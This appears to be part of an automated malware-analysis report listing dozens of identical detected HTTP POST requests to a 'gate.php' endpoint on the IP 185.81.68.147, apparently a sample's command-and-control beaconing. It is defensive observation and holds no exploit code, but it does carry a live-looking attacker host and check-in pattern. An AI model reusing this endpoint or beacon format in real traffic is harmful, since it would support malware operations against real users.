Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
Source: global traffic	HTTP traffic detected: POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1Host: 185.81.68.147Pragma: no-cacheContent-type: text/htmlConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3Content-Length: 4
